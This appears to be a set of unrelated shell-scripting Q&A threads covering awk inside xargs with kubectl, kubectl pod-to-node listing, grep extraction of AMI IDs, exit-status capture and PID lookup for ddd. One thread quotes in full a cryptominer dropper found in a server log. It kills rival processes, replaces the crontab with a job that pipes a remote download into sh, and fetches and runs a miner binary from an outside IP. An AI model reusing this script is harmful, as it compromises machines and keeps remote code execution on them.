using awk in xargs construct: getting different output when am tyring to pull in awk inside xargs - -
step1
~/waste/dgx-users2.log | head -n2
node1
node2
step2
cat ~/waste/dgx-users2.log | head -n2 | xargs -l1 -- sh -c 'echo $1 && kubectl get pods --field-selector=spec.nodeName=$1,status.phase=Running --all-namespaces --no-headers' --
node1
node2
test-s test-s-pod 3/3 Running 0 6d1h
dummy-s test-s-pod 1/1 Running 0 5d9h
but i only want test-s in $1 to be listed so filter below
cat ~/waste/dgx-users2.log | head -n2 | xargs -l1 -- sh -c 'echo $1 && kubectl get pods --field-selector=spec.nodeName=$1,status.phase=Running --all-namespaces --no-headers' -- | awk '$1 ~ /test-*/ && /Running/ {print}'
test-s test-pod 3/3 Running 0 6d
Above is all good but is there a way I can pull the awk inside xargs — ? I tried below but its missing the last output line that shows in my expected output.
cat ~/waste/dgx-users2.log | head -n2 | xargs -l1 -- sh -c 'echo $1 && kubectl get pods --field-selector=spec.nodeName=$1,status.phase=Running --all-namespaces --no-headers | awk "$1 ~ /test-*/ && /Running/ {print}"' --
node1
node2
Am not getting the same output.. so need to adjust some syntax, i guess..
my expected output should be.
my goal is to print that node info along with output such that i know on what node that pod is running like below node1 has nothing and node2 has a pod it.
node1
node2
test-s test-pod 3/3 Running 0 6d
Because the $1 in the awk expression is being parsed in a double-quoted context by the internal copy of sh, it needs to be escaped. That is:
head -n2 <~/waste/dgx-users2.log | xargs -l1 -- sh -c '
echo "$1" &&
kubectl get pods --field-selector=spec.nodeName="$1",status.phase=Running \
--all-namespaces --no-headers |
awk "\$1 ~ /test-*/ && /Running/ {print}"
' --
Related
How can you enrich the kubectl top pod command with node information?
This function has helped me recently:
ktp() {
(
echo "$(kubectl top pod $# | head -1) NODE";
kubectl top pod $# --no-headers | head -10 \
| while read LINE
do
NODE=$(kubectl -n $(echo $LINE | awk '{print $1}') get pod $(echo $LINE | awk '{print $2}') -o=jsonpath='{.spec.nodeName}')
echo "$LINE $NODE";
done;
) | column -t;
}
or as a long one-liner
ktp() { ( echo "$(kubectl top pod $# | head -1) NODE"; kubectl top pod $# --no-headers | head -10 | while read LINE; do NODE=$(kubectl -n $(echo $LINE | awk '{print $1}') get pod $(echo $LINE | awk '{print $2}') -o=jsonpath='{.spec.nodeName}'); echo "$LINE $NODE"; done; ) | column -t; }
Then you need to replace kubectl top pod by ktp like in the following example:
ktp --all-namespaces --sort-by=memory
Output:
NAMESPACE NAME CPU(cores) MEMORY(bytes) NODE
kube-system kube-apiserver-master1 906m 1620Mi master1
nginx-ingress nginx-ingress-fvvmx 16m 1232Mi node1
nginx-ingress nginx-ingress-jv5tv 1m 1032Mi node2
get-desktop get-desktop-7768474668-7w8mf 3m 715Mi node1
kube-system kube-controller-manager-master1 170m 707Mi master1
kube-janitor kube-janitor-78df48c8d7-fj9w4 451m 674Mi node2
cert-manager cert-manager-b4d6fd99b-d6gb7 2m 202Mi node2
kube-system weave-net-l8zx8 3m 174Mi node2
kube-system etcd-master1 310m 164Mi master1
cert-manager cert-manager-cainjector-74bfccdfdf-c74dt 3m 137Mi node1
Drawbacks:
auto-completion does not work for ktp
performance is poor with n+1 API requests. That is, why I have limited the number of answers to 10. With that, the performance is bearable.
Maybe you will find a better solution?
The code below showed up in my python3 server log, on my Ubuntu 20.04 Linux desktop system. Is it just my suspicious nature, or was this an attempt to hack my computer?
cc=http://31.42.177.123
sys=sysrv005
bit=$(getconf LONG_BIT)
ps aux | grep kthreaddi | grep tmp | awk '{print $2}' | xargs -I % kill -9 %
ps aux | egrep 'sysrv001|sysrv002|sysrv003|sysrv004|network01|network00' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep sysrv | grep -v 0 | awk '{print $2}' | xargs -I % kill -9 %
crontab -r
echo "*/30 * * * * (curl --user-agent curl_cron $cc||wget --user-agent wget_cron -q -O - $cc)|sh" | crontab -
#pkill -9 $sys
get() {
chattr -i $2; rm -rf $2
curl --user-agent curl_ldr$bit -fsSL $1 > $2 || wget --user-agent wget_ldr$bit -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));"
chmod +x $2
}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then
get 31.210.20.120/sysrvv $sys; ./$sys
fi
Yes it's a Bitcoin Miner.
31.42.177.123/... basically downloads the above shell script, which points to 31.210.20.120 to download the sysrvv file which is a Bitcoin miner.
From a file I'm retrieving the last line using the following cmd;
tail -n 1 build.log
The output looks like this:
1477101542,,ui,say,--> amazon-ebs: AMIs were created:\n\nus-east-1: ami-63237174\nus-west-1: ami-21236841\nus-west-2: ami-27872347
I'm trying to fetch the string after us-east-1:, us-west-1: & us-west-2 using the following grep commands:
echo | tail -n 1 build.log | egrep -m1 -oe 'us-east-1: ami-.{8}' | egrep -m1 -oe 'ami-.{8}'
I run this cmd three times for each condition. Is there a better way to do this?
If the order in which the regions appear is fixed, you can simply do:
$ echo | tail -n 1 build.log | egrep -o 'ami-.{8}'
ami-63237174
ami-21236841
ami-27872347
If you want to extract the region names and you have GNU grep, try:
$ echo | tail -n 1 build.log | grep -Po 'us-[^:]+(?=: ami-.{8})'
us-east-1
us-west-1
us-west-2
To get both region names and associated values:
$ echo | tail -n 1 build.log | egrep -o 'us-[^:]+: ami-.{8}'
us-east-1: ami-63237174
us-west-1: ami-21236841
us-west-2: ami-27872347
I am searching a word in a file through grep command. Now I need to store the status in a variable V1 with 0 or 1. how can i do it?
tail -n 2 test.s | grep -q "FA|"$(date "+%m/%d/%Y")
tail -n 2 test1.s | grep -q "FA|"$(date "+%m/%d/%Y")
tail -n 2 test2.s | grep -q "FA|"$(date "+%m/%d/%Y")
If the above searching word is found then variable V1 value should be 0 else 1.
file content :
keytran|20160111|test.s
submKeyqwqwqw|NDM|Jan 11 01:34|test.s|6666666|sdgdh-RB|ltd.ET.CTS00.act
loadstatus|thunnnB|6666666|FA|01/16/2016|01:34:57|01/16/2016
|01:37:13|load|test.s
please suggest
Depending on your shell, after each command execution the status of the previous command is available in a special variable: bash family $?, csh family $status$:
#/bin/bash
tail -n 2 test.s | grep -q "FA|"$(date "+%m/%d/%Y")
V1=$?
or
#/bin/csh
tail -n 2 test.s | grep -q "FA|"$(date "+%m/%d/%Y")
set V1=$status
I want to attach to a running process using 'ddd', what I manually do is:
# ps -ax | grep PROCESS_NAME
Then I get a list and the pid, then I type:
# ddd PROCESS_NAME THE_PID
Is there is a way to type just one command directly?
Remark: When I type ps -ax | grep PROCESS_NAME, grep will match both the process and grep command line itself.
There is an easy way to get rid of the grep process:
ps -ax | grep PROCESS_NAME | grep -v ' grep '
(as long as the process you're trying to find doesn't include the string " grep ").
So something like this should work in a script (again, assuming there's only one copy running):
pid=$(ps -ax | grep $1 | grep -v ' grep ' | awk '{print $1}')
ddd $1 ${pid}
If you call your script dddproc, you can call it with:
dddproc myprogramname
Although I'd add some sanity checks such as detecting if there's zero or more than one process returned from ps and ensuring the user supplies an argument.
As separate commands:
% PID=`ps -ax | grep ${PROCESS_NAME} | grep -v grep | cut -d ' ' -f 1-2`
% ddd ${PROCESS_NAME} ${PID}
In one line:
% PID=`ps -ax | grep ${PROCESS_NAME} | grep -v grep | cut -d ' ' -f 1-2` && ddd ${PROCESS_NAME} ${PID}
ddd <process_name> `pgrep <process_name>`
you can use pggrep to find the process
You can use awk to both filter and get the column you want. The "exit" limits the ps results to the first hit.
function ddd_grep() {
ddd $(ps -ax | awk -v p="$1" '$4 == p { print $1; exit 0; }');
}
ddd_grep PROCESS_NAME
You may have to adjust the columns for your ps output. Also you can change the == to ~ for regex matching.
Do this way -
ddd PROCESS_NAME \`ps -ax | grep PROCESS_NAME | grep -v grep | awk '{print $1}'\`